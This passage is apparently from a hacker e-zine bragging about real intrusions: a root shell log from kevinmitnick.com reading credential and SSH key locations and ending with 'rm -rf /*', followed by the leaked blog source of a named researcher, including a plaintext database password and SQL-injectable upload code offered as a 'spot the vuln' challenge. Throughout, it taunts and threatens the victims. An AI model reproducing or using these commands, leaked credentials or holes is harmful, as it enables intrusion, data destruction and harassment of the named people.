HTTP/1.1 1312 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match "img 1313 src=javascript" at REQUEST_URI 403 1314 167.216.252.40 2006-08-22 11:19:17 /cgiwrap/ HTTP/1.1 1315 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match "img 1316 src=javascript" at REQUEST_URI 403 1317 167.216.252.40 2006-08-22 11:19:16 /nph-cgiwrapd/ HTTP/1.1 1318 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match " 1319 403 1320 167.216.252.40 2006-08-22 11:19:16 /cgiwrapd/ HTTP/1.1 1321 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match " 1322 403 1323 167.216.252.40 2006-08-22 11:19:15 /cgiwrap/ HTTP/1.1 1324 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match " 1325 403 1326 167.216.252.40 2006-08-22 11:19:04 /phpMyAdmin/css/ HTTP/1.1 1327 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1328 "phpmyadmin" at REQUEST_URI 403 1329 167.216.252.40 2006-08-22 11:19:04 /phpmyadmin/css/ HTTP/1.1 1330 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1331 "phpmyadmin" at REQUEST_URI 403 1332 1333 1334 root@dc21 [~]# #lolroot@dc21 [~]# cat config.php 1335 <script language="php"> ## rofl, come join us in 2009 Kev. 1336 // LICENSE NOTE, This software is dual licensed using BSD-Style and LGPL. 1337 Where there is any discrepancy, the BSD-Style license will take precedence. 1338 // Review the relative file ./license.txt for details. The intention is that 1339 these works are available for all 1340 // and may be profited from but not restricted in use. 1341 // For most recent see 1342 http://www.cocoavillagepublishing.com/development/tools/php/scripts/ 1343 // NOTE - TO AVOID "Cannot send session cache limiter - headers already sent" 1344 // try to avoid blank lines and tabs to minimize chance header starts premature 1345 by web output 1346 // 1347 // Defining some settings with variables 1348 // 1349 // $BAS_mode=""; blank means nominal, if "test" then we evoke more scripts 1350 //$BAS_mode="test" ; 1351 $BAS_mode=""; 1352 // 1353 // Important, number of characters in image, suggest 4 1354 $BASnumimgchars = 4 ; 1355 // 1356 // set $BASaddimgnoise = "yes" for arcs and noise to be added to image to 1357 further confuse ocr 1358 $BASaddimgnoise = "no"; 1359 //$BASaddimgnoise = "yes" ; 1360 // 1361 // IF entered code matches random generated string, after action will redirect 1362 page 1363 // to this location using php header function. Scripting code so header will 1364 use 1365 // relative location per notes at 1366 http://us2.php.net/manual/en/function.header.php 1367 $MatchSendToRelativeURL="good_submission.html" ; 1368 // 1369 // Action for good match, for now the function sends an email, which should be 1370 // a secret or a priority like email to pager of fax.... 1371 $BAS_secretemail="blockautosubmit@webengr.com" ; 1372 // 1373 // Fromemail for notificationsof successful submissions, 1374 $BAS_fromemail = "www@".$_SERVER['HTTP_HOST'] ; 1375 // 1376 // 1377 // 1378 // 1379 //******************************************// 1380 // BELOW YOU PROBABLY WILL NOT BE CHANGING // 1381 //******************************************// 1382 // 1383 // declare some functions to be used in places 1384 // function to return random characters for image 1385 function GetRandomChar() { 1386 // Seed with microseconds since last "whole" second 1387 mt_srand((double)microtime()*1000000); 1388 // Use random number 1-3, if 1, we generate a number 0-9 (ascii 48 to 1389 57), 1390 // if it was 2, we generate an uppercase character (ascii 65 to 70), 1391 // if it was 3, we generate a lowercase character (ascii 97 to 122), 1392 switch (mt_rand(1,3)) { 1393 case 1: 1394 $BAErandchar = mt_rand(48, 57); 1395 break; 1396 case 2: 1397 $BAErandchar = mt_rand(65, 90); 1398 break; 1399 case 3: 1400 $BAErandchar = mt_rand(97, 122); 1401 break; 1402 } 1403 return chr($BAErandchar); 1404 } 1405 // 1406 // 1407 // 1408 </script> 1409 root@dc21 [~]# ls -la media/ ## we know u luv it k3v1n 1410 total 1292888 1411 drwxr-xr-x 2 mitsec mitsec 4096 Jan 20 16:51 . 1412 drwxr-xr-x 24 mitsec nobody 4096 Jul 9 10:01 .. 1413 -rwxr-xr-x 1 mitsec mitsec 1780588 Jan 20 2006 2005 FBI Computer Crime 1414 Survey Report.pdf 1415 -rwxr-xr-x 1 mitsec mitsec 50950 Aug 7 2007 41stParamete2.pdf 1416 -rwxr-xr-x 1 mitsec mitsec 22324052 Jan 17 2005 60mins.wmv 1417 -rwxr-xr-x 1 mitsec mitsec 83791947 Feb 6 2008 AMW.mp4 1418 -rwxr-xr-x 1 mitsec mitsec 67229236 Feb 8 2008 AMW.wmv 1419 -rwxr-xr-x 1 mitsec mitsec 115766 Jul 15 2006 1420 AppSense-White-Paper-Mitnick.pdf 1421 -rwxr-xr-x 1 mitsec mitsec 46238 Aug 7 2007 Applied_Scan2.pdf 1422 -rwxr-xr-x 1 mitsec mitsec 99973354 Feb 6 2008 Bloomberg1.mp4 1423 -rwxr-xr-x 1 mitsec mitsec 80357704 Feb 8 2008 Bloomberg1.wmv 1424 -rwxr-xr-x 1 mitsec mitsec 97313195 Feb 6 2008 Bloomberg2.mp4 1425 -rwxr-xr-x 1 mitsec mitsec 78221632 Feb 8 2008 Bloomberg2.wmv 1426 -rwxr-xr-x 1 mitsec mitsec 97840298 Feb 6 2008 Bloomberg3.mp4 1427 -rwxr-xr-x 1 mitsec mitsec 78549644 Feb 8 2008 Bloomberg3.wmv 1428 -rwxr-xr-x 1 mitsec mitsec 729350 Jul 24 2007 CSC-Testimonial.pdf 1429 -rwxr-xr-x 1 mitsec mitsec 60537 Jan 22 2005 HFSC-Testimony-20030403.pdf 1430 -rwxr-xr-x 1 mitsec mitsec 72885850 Jan 31 2008 InterviewWithMariFrank.mp3 1431 -rwxr-xr-x 1 mitsec mitsec 211536 Jul 29 2007 Kevin_Mitnick_Bio_BW.pdf 1432 -rwxr-xr-x 1 mitsec mitsec 73025457 Nov 11 2005 MitnickDemo.wmv 1433 -rwxr-xr-x 1 mitsec mitsec 5659648 Jan 17 2005 Mitnick_Color.zip 1434 -rwxr-xr-x 1 mitsec mitsec 2547699 Jul 24 2007 Mitnick_Playboy_feature.pdf 1435 -rwxr-xr-x 1 mitsec mitsec 5144656 Jan 17 2005 Mitnick_bw.zip 1436 -rwxr-xr-x 1 mitsec mitsec 86455159 Feb 6 2008 Quest Interview.mp4 1437 -rwxr-xr-x 1 mitsec mitsec 69397314 Feb 8 2008 Quest Interview.wmv 1438 -rwxr-xr-x 1 mitsec mitsec 72399 Jan 22 2005 SGAC-Testimony-20000302.pdf 1439 -rwxr-xr-x 1 mitsec mitsec 51160350 Feb 6 2008 Star Jones Interview.mp4 1440 -rwxr-xr-x 1 mitsec mitsec 41092294 Feb 13 2008 Star Jones Interview.wmv 1441 -rwxr-xr-x 1 mitsec mitsec 41092294 Feb 8 2008 Star Jones.wmv 1442 -rwxr-xr-x 1 mitsec mitsec 18229 Dec 14 2005 THE ART OF 1443 INTRUSION_Press_Kit.zip 1444 -rwxr-xr-x 1 mitsec mitsec 718004 Mar 28 2005 The_Age.pdf 1445 -rwxr-xr-x 1 mitsec mitsec 33177621 Oct 20 2005 Trinidad.wmv 1446 -rwxr-xr-x 1 mitsec mitsec 117138 Mar 1 2008 US-pretrial.pdf 1447 -rwxr-xr-x 1 mitsec mitsec 50087 Jan 17 2005 aod_pk_v1-0.zip 1448 -rwxr-xr-x 1 mitsec mitsec 27561886 Jan 17 2005 artofdeceptionshort.wmv 1449 -rwxr-xr-x 1 mitsec mitsec 388671 Jan 20 16:51 cic-testimonial.pdf 1450 -rwxr-xr-x 1 mitsec mitsec 384144 Jul 24 2007 faa.pdf 1451 -rwxr-xr-x 1 mitsec mitsec 52 Jan 17 2005 index.php 1452 -rwxr-xr-x 1 mitsec mitsec 18794 Aug 10 2007 infragard.pdf 1453 -rwxr-xr-x 1 mitsec mitsec 1515582 Jul 24 2007 issa.jpg 1454 -rwxr-xr-x 1 mitsec mitsec 38559604 Apr 25 2005 mitnickpromo2.mov 1455 -rwxr-xr-x 1 mitsec mitsec 18084536 Mar 19 2007 mitnickpromo2.wmv 1456 -rwxr-xr-x 1 mitsec mitsec 32359 Jan 17 2005 msc_brochure.pdf 1457 -rwxr-xr-x 1 mitsec mitsec 46449 Jan 17 2005 msc_course_outline.pdf 1458 -rwxr-xr-x 1 mitsec mitsec 3948582 Aug 19 2007 pick-cards.mov 1459 -rwxr-xr-x 1 mitsec mitsec 40543570 Aug 19 2007 pick-cards.wmv 1460 -rwxr-xr-x 1 mitsec mitsec 28169 Jul 24 2007 ssa.pdf 1461 root@dc21 [~]# ls -la dev 1462 total 208 1463 drwxr-xr-x 5 mitsec mitsec 4096 Sep 1 2008 . 1464 drwxr-xr-x 24 mitsec nobody 4096 Jul 9 10:01 .. 1465 -rwxr-xr-x 1 mitsec mitsec 123 Oct 20 2007 .htaccess 1466 -rwxr-xr-x 1 mitsec mitsec 1038 Oct 20 2007 _contact_settings.php 1467 -rwxr-xr-x 1 mitsec mitsec 528 Aug 1 2007 _footer.php 1468 -rwxr-xr-x 1 mitsec mitsec 3121 Aug 1 2007 _header.php 1469 -rwxr-xr-x 1 mitsec mitsec 11023 Aug 7 2007 _sidebar.php 1470 -rwxr-xr-x 1 mitsec mitsec 2798 Jul 24 2007 aoi_reviews.php 1471 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 cache 1472 -rwxr-xr-x 1 mitsec mitsec 2870 Jul 23 2007 company.php 1473 -rwxr-xr-x 1 mitsec mitsec 1778 Jul 29 2007 contact.php 1474 -rwxr-xr-x 1 mitsec mitsec 1054 Jul 24 2007 contact_confirmation.php 1475 -rwxr-xr-x 1 mitsec mitsec 50245 Jul 24 2007 contact_form.php 1476 -rwxr-xr-x 1 mitsec mitsec 2839 Jul 24 2007 error_log 1477 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 images 1478 -rwxr-xr-x 1 mitsec mitsec 3627 Aug 7 2007 index.php 1479 -rwxr-xr-x 1 mitsec mitsec 1440 Jul 23 2007 investigations.php 1480 -rwxr-xr-x 1 mitsec mitsec 8793 Jul 24 2007 lastRSS.php 1481 -rwxr-xr-x 1 mitsec mitsec 7120 Jul 23 2007 presentations.php 1482 -rwxr-xr-x 1 mitsec mitsec 4991 Jul 29 2007 press.php 1483 -rwxr-xr-x 1 mitsec mitsec 3111 Jul 23 2007 products.php 1484 -rwxr-xr-x 1 mitsec mitsec 1738 Jul 23 2007 resources.php 1485 -rwxr-xr-x 1 mitsec mitsec 8172 Jul 29 2007 services.php 1486 -rwxr-xr-x 1 mitsec mitsec 5225 Aug 1 2007 speaking.php 1487 -rwxr-xr-x 1 mitsec mitsec 2430 Jul 24 2007 style.css 1488 -rwxr-xr-x 1 mitsec mitsec 2043 Aug 7 2007 testimonials.php 1489 -rwxr-xr-x 1 mitsec mitsec 1981 Jul 24 2007 video.php 1490 -rwxr-xr-x 1 mitsec mitsec 3036 Jul 29 2007 workshop_signup.php 1491 -rwxr-xr-x 1 mitsec mitsec 888 Jul 24 2007 workshop_signup_confirmation.php 1492 -rwxr-xr-x 1 mitsec mitsec 1208 Jul 23 2007 workshops.php 1493 drwxr-xr-x 8 mitsec mitsec 4096 Sep 1 2008 zzhp 1494 root@dc21 [~]# cat dev/.htaccess 1495 AuthType Basic 1496 AuthName "Restricted Area" 1497 AuthUserFile "/home/mitsec/.htpasswds/public_html/dev/passwd" 1498 require valid-user 1499 root@dc21 [~]# cat /home/mitsec/.htpasswds/public_html/dev/passwd 1500 root@dc21 [~]# cat dev/index.php 1501 <?php require("_header.php"); ?> 1502 <!-- Copy begins --> 1503 1504 <strong>Mitnick Security Consulting, LLC</strong> is a full-service information 1505 1506 security consulting firm. Founded by Kevin Mitnick, Mitnick Security Consulting 1507 1508 offers a comprehensive range of services to help businesses protect their 1509 valuable 1510 assets. Mitnick Security Consulting, LLC is a full-service information security 1511 1512 consulting firm. Founded by Kevin Mitnick, Mitnick Security Consulting offers 1513 a comprehensive range of services. <a href="company.php">read more >></a></div> 1514 1515 <div class="bdtxt" style="background-color: #F4F4F4;"><strong>FBI Computer 1516 Crime Survey</strong><br> 1517 “This computer security survey eclipses any other that I have ever seen. 1518 After reading it, everyone should realize the importance of establishing a 1519 proactive 1520 information security program.” - Kevin Mitnick<br> 1521 <a href="media/2005%20FBI%20Computer%20Crime%20Survey%20Report.pdf">Click Here 1522 To Download The Report</a><br></div> 1523 1524 <p align="center"><img src="images/br-top.png" width="506" height="10"></p> 1525 <div class="quote">"Mitnick left his audience shaken,but better 1526 equipped to stave off attacks via social engineering."</div> 1527 1528 <div class="quote-att">- Computer Sciences Corporation (<a 1529 href="media/CSC-Testimonial.pdf">Click 1530 Here for PDF</a>)</div> 1531 <br> 1532 <div class="quote">"It's both frightening and informative to 1533 hear how effective social engineering can be in assessing what should be 1534 security sensitive information."</div> 1535 1536 <div class="quote-att">- Scott Pettit - The AIM Institute (<a 1537 href="media/Applied_Scan2.pdf">Click 1538 Here for PDF</a>)</div> 1539 <div class="bdtxt"><a href="testimonials.php">Read more testimonials 1540 >></a></div> 1541 1542 <p align="center"><img src="images/br-bot.png" width="506" height="10"></p> 1543 1544 <div class="bdtxt"><strong><a href="workshop_signup.php">2007 Las Vegas Social 1545 Engineering Workshop</a></strong><br> 1546 A two-day course covering:<br> 1547 - Social engineering case studies, attack methods, vulnerabilities in 1548 the human firewall, and techniques to protect your business <br> 1549 - Security policies development, follow-through, assessment, and 1550 training 1551 <br> 1552 <br> 1553 <a href="workshop_signup.php">Sign up now >></a></div> 1554 <p align="center"><img src="images/br-top.png" width="506" 1555 height="10"></p> 1556 1557 1558 <table width="100%" border="0" cellspacing="0" cellpadding="0"> 1559 <tr valign="top"> 1560 <td width="50%"><div class="bdtxt"><img 1561 src="images/art-of-intrusion-cover.jpg" width="100" height="152" hspace="5" 1562 align="left"><strong>The 1563 Art of Intrusion:</strong><br> 1564 The Real Stories Behind the Exploits of Hackers, Intruders, and 1565 Deceivers<br> 1566 <br> 1567 [ <a 1568 href="http://www.amazon.com/exec/obidos/tg/detail/-/0764569597/ref=ase_mitnicks 1569 ecuri-20/103-6052457-8135069?v=glance&s=books">More 1570 Information</a> ]<br> 1571 [ <a href="aoi_reviews.php">Read The Press Reviews</a> 1572 ]</div></td> 1573 <td><div class="bdtxt"><img src="images/art-of-deception-cover.jpg" 1574 width="100" height="151" hspace="5" align="left"><strong>The 1575 Art of Deception:</strong><br> 1576 Controlling the Human Element of Security<br> 1577 <br> 1578 [ <a 1579 href="http://www.amazon.com/exec/obidos/tg/detail/-/0471237124/ref=ase_mitnicks 1580 ecuri-20/103-6052457-8135069?v=glance&s=books">More 1581 Information</a> ]</div></td> 1582 </tr> 1583 </table> 1584 1585 1586 1587 1588 1589 1590 <!-- Copy ends --> 1591 1592 <?php require("_sidebar.php"); ?> 1593 1594 <?php require("_footer.php"); ?> 1595 root@dc21 [~]# ls -la /home/mitsec/.ssh/ 1596 total 16 1597 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 . 1598 drwxr-xr-x 22 mitsec mitsec 4096 Jul 16 10:36 .. 1599 -rwxr-xr-x 1 mitsec mitsec 0 Nov 15 2008 authorized_keys 1600 -rwxr-xr-x 1 mitsec mitsec 0 Nov 15 2008 authorized_keys2 1601 -rwxr-xr-x 1 mitsec mitsec 744 Oct 20 2007 id_dsa 1602 -rwxr-xr-x 1 mitsec mitsec 615 Oct 20 2007 id_dsa.pub 1603 -rwxr-xr-x 1 mitsec mitsec 0 Nov 15 2008 known_hosts 1604 toproot@dc21 [~]# cat /etc/userdomains 1605 kevinmitnick.com: mitsec 1606 defthi.com: mitsec 1607 defthi.mitnicksecurity.com: mitsec 1608 mitnicksecurity.com: mitsec 1609 mitsec.com: mitsec 1610 defensivethinking.com: mitsec 1611 *: nobody 1612 root@dc21 [~]# #good bye kevin 1613 root@dc21 [~]# rm -rf /* 1614 /dev/rm2: cannot remove `/dev/pts/0': Operation not permitted 1615 [ snip ] 1616 root@dc21 [/dev]# logout 1617 Connection to www.kevinmitnick.com closed by remote host. 1618 Connection to www.kevinmitnick.com closed. 1619 1620 Apologies for the poor quality of the hacklog, but I'm old now and let's face 1621 it, Kevin Mitnick is done. You can move your box anywhere Kevin, we'll find you 1622 and own you. You should know best, it's the "hacker" in us - or something like 1623 that...See you soon. 1624 1625 1626 1627 | 1628 \ / _\/_ 1629 0x000000/rvdh .-'-. //o\ _\/_ 1630 -- / \ -- | /o\\ 1631 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 1632 I'm out of my head | 1633 That was what they said 1634 There was no way that I would 1635 Ever trust again 1636 1637 As far as whitehats go Ronald is a pretty nice guy. Sometimes you find yourself 1638 respecting a guy for the way he goes about his shit, Ronald is that kinda guy. 1639 The comparison with the no talent asshat rsnake is obvious - both "specialize" 1640 in this new form of security - "WEB APPLICATION SECURITY". Ronald was never 1641 about the money, whereas rsnake is all about the hype, the drama, and seeing 1642 his name in lights. Ronald quit the security scene some time ago, and despite 1643 creating a new site it has been idle for a long time. So rather than let this 1644 information go to waste, I figured I would share the security secrets of his 1645 CMS/blog. 1646 1647 Let's start with his index.php. I hope no one hosts this zine with a .php 1648 extension, they'd be as owned as Ronald. 1649 1650 <? 1651 include("stats.php"); 1652 1653 if($_REQUEST['!']) { 1654 1655 $xor = (int)$_REQUEST['!']; 1656 1657 switch($xor) { 1658 1659 case 4: 1660 $uri = 'archive.php'; 1661 break; 1662 case 6: 1663 $uri = 'about.php'; 1664 break; 1665 case 7: 1666 $uri = 'contact.php'; 1667 break; 1668 default: 1669 $uri = 'err.php'; 1670 break; 1671 } 1672 } 1673 1674 1675 function nl2br_pre($string, $wrap = 100) { 1676 $string = nl2br($string); 1677 1678 preg_match_all("/<pre[^>]*?>(.|\n)*?<\/pre>/", $string, $pre1); 1679 1680 for ($x = 0; $x < count($pre1[0]); $x++) { 1681 $pre2[$x] = preg_replace("/\s*<br[^>]*?>\s*/", "\r\n", $pre1[0][$x]); 1682 $pre1[0][$x] = "/".preg_quote($pre1[0][$x], "/")."/"; 1683 } 1684 1685 return preg_replace($pre1[0], $pre2, $string); 1686 } 1687 1688 ?> 1689 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 1690 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 1691 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> 1692 <head> 1693 <title>0x000000 Hacking & Security, cuz Web 2.0 is kitsch</title> 1694 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 1695 <meta name="robots" content="noarchive"> 1696 <link rel="stylesheet" href="style.css" type="text/css" /> 1697 </head> 1698 <body> 1699 <div id="wrapper"> 1700 <h1>rvdh 1701 <p>Hacking & Security</p></h1> 1702 <div align="left" id="menu"><a href="index.php" class="link">index</a> <a 1703 href="index.php?!=4" class="link">archive</a> <a href="rss.php" 1704 class="link">rss</a></div> 1705 <div id="content" align="left"> 1706 <? 1707 if($_REQUEST['i']) { 1708 if(is_numeric($_REQUEST['i'])) { 1709 $get = (int)$_REQUEST['i']; 1710 $sql = "SELECT * FROM blog WHERE id = '".mysql_real_escape_string($get)."' 1711 LIMIT 1"; 1712 $res = mysql_query($sql) or die(); 1713 while($r=mysql_fetch_array($res)) { 1714 ?> 1715 <br /> 1716 <table width="100%" border="0" cellspacing="0" cellpadding="3"> 1717 <tr> 1718 <td width="80%"><h3> 1719 <a href="index.php?i=<?=$r['id']; ?>" alt="Posted on: 1720 <?=$r['date'];?>" title="Posted on: <?=$r['date'];?>"><?=$r['title'];?></a> 1721 </h3> 1722 </td> 1723 <td width="20%" valign="bottom"><div align="right"><a 1724 href="index.php?i=<? if($get == '') { echo '1'; } else { echo ($get-1); } ?>" 1725 class="arrow">→ </a></div></td> 1726 </tr> 1727 </table> 1728 <br /> 1729 <? 1730 echo nl2br(stripslashes($r['article'])); 1731 echo $r['code1']; 1732 if($r['code2']) { echo stripslashes($r['code2']).$r['code3']; } 1733 ?> 1734 <br /> 1735 <table width="100%" border="0" cellspacing="0" cellpadding="3"> 1736 <tr> 1737 <td width="80%"></td> 1738 <td width="20%" valign="bottom"><div align="right"><a 1739 href="index.php?i=<? if($get == '') { echo '1'; } else { echo ($get-1); } ?>" 1740 class="arrow">→ </a></div></td> 1741 </tr> 1742 </table> 1743 <? 1744 } 1745 } 1746 } elseif($_REQUEST['!']) { 1747 @include($uri); 1748 } else { 1749 1750 $get = (int)$_REQUEST['i']; 1751 $sql = "SELECT * FROM blog ORDER BY id DESC LIMIT 1"; 1752 $res = mysql_query($sql) or die(); 1753 while($r=mysql_fetch_array($res)) { 1754 ?> 1755 <br /> 1756 <table width="100%" border="0" cellspacing="0" cellpadding="3"> 1757 <tr> 1758 <td width="80%"><h3> 1759 <a href="index.php?i=<?=$r['id']; ?>" alt="Posted on: 1760 <?=$r['date'];?>" title="Posted on: <?=$r['date'];?>"><?=$r['title'];?></a> 1761 </h3> 1762 </td> 1763 <td width="20%" valign="bottom"><div align="right"><a 1764 href="index.php?i=<?= ($r['id'] -1); ?>" class="arrow">→ </a></div></td> 1765 </tr> 1766 </table> 1767 <br /> 1768 <? 1769 echo stripslashes(nl2br($r['article'])); 1770 echo $r['code1']; 1771 if($r['code2']) { echo stripslashes($r['code2']).$r['code3']; } 1772 ?> 1773 <br /> 1774 <table width="100%" border="0" cellspacing="0" cellpadding="3"> 1775 <tr> 1776 <td width="80%"></td> 1777 <td width="20%" valign="bottom"><div align="right"><a 1778 href="index.php?i=<?= ($r['id'] -1); ?>" class="arrow">→ </a></div></td> 1779 </tr> 1780 </table> 1781 <? 1782 } 1783 } 1784 ?> 1785 </div> 1786 <br /> 1787 <script type="text/javascript"><!-- 1788 google_ad_client = "pub-4603962989172802"; 1789 google_ad_slot = "0213361181"; 1790 google_ad_width = 700; 1791 google_ad_height = 67; 1792 //--> 1793 </script> 1794 <script type="text/javascript" 1795 src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> 1796 </script> 1797 <br /> 1798 <div id="acunetix_element" 1799 style="width:100px;float:right;margin-top:10px;top:0px; 1800 left:690px;position:absolute;"><a 1801 href="http://www.acunetix.com/cross-site-scripting/scanner.htm" 1802 target="_blank"><img src="125x125freexssa.gif" border="0" alt="free websecurity 1803 scanner" /></a></div> 1804 </div> 1805 </body> 1806 </html> 1807 1808 $ head -n 50 x/processor.php 1809 <?php 1810 1811 $chk = $_SERVER['REMOTE_ADDR']; 1812 $host = $_SERVER['REMOTE_HOST']; 1813 $ua = $_SERVER['HTTP_USER_AGENT']; 1814 # process login 1815 if($chk !== "82.171.76.240") { 1816 die("Dream on."); 1817 } 1818 1819 if($chk != "82.171.76.240") { 1820 die("Dream on."); 1821 } 1822 1823 1824 // local DB 1825 1826 $dbHost = "localhost"; 1827 $dbBase = "xtheory"; 1828 $dbUser = "blogger2"; 1829 $dbPass = "1uZ5UoZOL8"; 1830 $dbLink = mysql_connect($dbHost, $dbUser, $dbPass) or die(mysql_error()); 1831 mysql_select_db($dbBase) or die(mysql_error()); 1832 ?> 1833 <? 1834 1835 if($_REQUEST['up'] === "true") { 1836 1837 $titlex = $_REQUEST['title']; 1838 $longx = addslashes($_REQUEST['long']); 1839 $sqlvar = htmlentities($longx, ENT_QUOTES); 1840 $datex = $_REQUEST['date']; 1841 $hashx = $_REQUEST['hash']; 1842 $pagex = $_REQUEST['page']; 1843 $code1 = $_REQUEST['code1']; 1844 $c2 = addslashes($_REQUEST['code2']); 1845 $code2 = htmlentities($c2, ENT_QUOTES); 1846 $code3 = addslashes($_REQUEST['code3']); 1847 $sql = "INSERT INTO blog set title = '".$titlex."', article = '".$sqlvar."', 1848 date = '".$datex."', hash = '".$hashx."', page = '".$pagex."', code1 = 1849 '".$code1."', code2 = '".$code2."', code3 = '".$code3."'"; 1850 echo $sql; 1851 $res = mysql_query($sql) or die(mysql_error()); 1852 echo "Ok!"; 1853 die(); 1854 } 1855 # login for my blog 1856 # there is only me. 1857 $chk = $_SERVER['REMOTE_ADDR']; 1858 $host = $_SERVER['REMOTE_HOST']; 1859 $ua = $_SERVER['HTTP_USER_AGENT']; 1860 # process login 1861 1862 1863 /********************************************************* 1864 * 1865 * Gotta love that extensive checking, != and !== ... 1866 * 1867 * Heres a challenge for you, spot the vuln! 1868 * 1869 *********************************************************/ 1870 1871 <script> 1872 function show(value) { 1873 document.getElementById('img').innerHTML = '<img src="'+value+'" border="0" 1874 width="70" height="70">'; 1875 } 1876 </script> 1877 <? 1878 1879 function flood($sid,$userid) { 1880 1881 $sql = mysql_query("select timer from posts where sid = '".$sid."' and userid = 1882 '".$userid."'"); 1883 while($g=mysql_fetch_array($sql)) { 1884 1885 if(time() - $g['timer'] < 20 ) { 1886 die('(!) Flooding detected, wait...'); 1887 } 1888 } 1889 1890 } 1891 1892 function flood2($catid,$uid) { 1893 1894 $sql = mysql_query("select timer from topics where catid = '".$catid."' and uid 1895 = '".$uid."' order by id DESC limit 1"); 1896 while($g=mysql_fetch_array($sql)) { 1897 1898 if(time() - $g['timer'] < 150 ) { 1899 die('(!) Flooding detected, wait...'); 1900 } 1901 } 1902 1903 } 1904 1905 function BBCode ($string) { 1906 1907 $search = array( 1908 1909 "/\[url\]((http|https|ftp|mailto):\/\/([a-z0-9\.\-@:]+)[a-z0-9;\/\?:@=\&\$\-_\. 1910 \+!*'\(\),\#%~ ]*?)\[\/url\]/is", 1911 1912 "/\[url=((http|https|ftp|mailto):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%# 1913 ]+?)\](.+?)\[\/url\]/is", 1914 1915 "/\[url=\]((http|https|ftp|mailto):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%# 1916 ]+?)\[\/url\]/is", 1917 1918 "/\[email\]([a-z0-9\-_\.\+]+@[a-z0-9\-]+\.[a-z0-9\-\.]+?)\[\/email\]/ies", 1919 "/\[b\](.+?)\[\/b\]/is", 1920 "/\[u\](.+?)\[\/u\]/is", 1921 "/\[i\](.+?)\[\/i\]/is", 1922 "/\[s\](.+?)\[\/s\]/is", 1923 "/\[center\](.+?)\[\/center\]/is", 1924 "/\[hr\]/i", 1925 "/\[code\](.+?)\[\/code\]/is", 1926 "/\[sub\](.+?)\[\/sub\]/is", 1927 "/\[sup\](.+?)\[\/sup\]/is", 1928 ); 1929 $replace = array( 1930 "<p>[<a href=\"$1\">$3</a>]</p>", 1931 "<p><a href=\"$1\">$3</a></p>", 1932 "<p><a href=\"$1\">$1</a></p>", 1933 "<p>'<a href=\"'.encode('mailto:$1').'\">'.encode('$1').'</a>'</p>", 1934 "<strong>$1</strong>", 1935 "<u>$1</u>", 1936 "<i>$1</i>", 1937 "<s>$1</s>", 1938 "<center>$1</center>", 1939 "<hr />", 1940 "<pre class='q'>$1</pre>", 1941 "<sub>$1</sub>", 1942 "<sup>$1</sup>", 1943 ); 1944 1945 $new = preg_replace($search , $replace, $string); 1946 return $new; 1947 } 1948 1949 function rplace($data) { 1950 1951 1952 $data = BBcode($data); 1953 1954 $data = str_replace('8(',' <img src="smiles/8(.png" border="0"> ',$data); 1955 $data = str_replace('8)',' <img src="smiles/8).png" border="0"> ',$data); 1956 $data = str_replace('8p',' <img src="smiles/8p.png" border="0"> ',$data); 1957 $data = str_replace('8s',' <img src="smiles/8s.png" border="0"> ',$data); 1958 $data = str_replace('-cool',' <img src="smiles/-cool.png" border="0"> ',$data); 1959 $data = str_replace('-ehm',' <img src="smiles/-ehm.png" border="0"> ',$data); 1960 $data = str_replace('-emo(',' <img src="smiles/-emo(.png" border="0"> ',$data); 1961 $data = str_replace('-evil',' <img src="smiles/-evil.png" border="0"> ',$data); 1962 $data = str_replace('-fu',' <img src="smiles/-fu.png" border="0"> ',$data); 1963 $data = str_replace('-good',' <img src="smiles/-good.png" border="0"> ',$data); 1964 $data = str_replace('-orly;)',' <img src="smiles/-orly;).png" border="0"> 1965 ',$data); 1966 $data = str_replace('-ok',' <img src="smiles/-ok.png" border="0"> ',$data); 1967 1968 return $data; 1969 } 1970 1971 1972 function wrap($datas) { 1973 1974 $buffer = 33; 1975 $break = ' '; 1976 $wrapped = false; 1977 1978 $aa = array('/<script>/','/<\/script>/','/%3E%3Cscript/'); 1979 $bb = array(' <script>',' </script>',' %3E%3Cscript'); 1980 1981 $data = preg_replace($aa,$bb,$datas); 1982 1983 $tmp = explode(' ', $data); 1984 1985 foreach($tmp as $word) { 1986 1987 while($w = $word[$buffer++]) { 1988 $strbf = $w; 1989 } 1990 1991 if(preg_match("/(<a href)/i", $word)){ 1992 $yikes = false; 1993 } 1994 1995 if($strbf && $yikes) { 1996 $abc = false; 1997 for( $i=0; $i < 33; $i++ ) { 1998 $abc .= $word[$i]; 1999 } 2000 2001 $split = false; 2002 for( $j = 33; $j < strlen($word); $j++ ) { 2003 $split .= $word[$j]; 2004 } 2005 2006 $wrapped .= $abc . $break . $split; 2007 $buffer = 34; 2008 2009 } else { 2010 $strbf = false; 2011 $wrapped .= ' '. $word; 2012 } 2013 } 2014 2015 2016 return $wrapped; 2017 2018 } 2019 2020 # encode data 2021 function encode($data) { 2022 return htmlspecialchars($data,ENT_QUOTES,'UTF-8'); 2023 } 2024 2025 # prepare data for database 2026 function prepare($data,$buffer,$string,$truncate,$escape) { 2027 2028 $input = ($data) ? true : false; 2029 $buffer_message = 'Error: a problem was found, please try again or abort.'; 2030 2031 if($input) { 2032 2033 while($tmp = $data[$buffer++]) { 2034 2035 $strbf = $tmp; 2036 } 2037 2038 if($strbf && !$truncate) { 2039 2040 echo $buffer_message; 2041 exit; 2042 2043 } elseif ($truncate) { 2044 2045 $dat = false; 2046 2047 for($i=0;$i<($buffer-1);$i++) { 2048 2049 $pre = $data[$i]; 2050 $dat .= 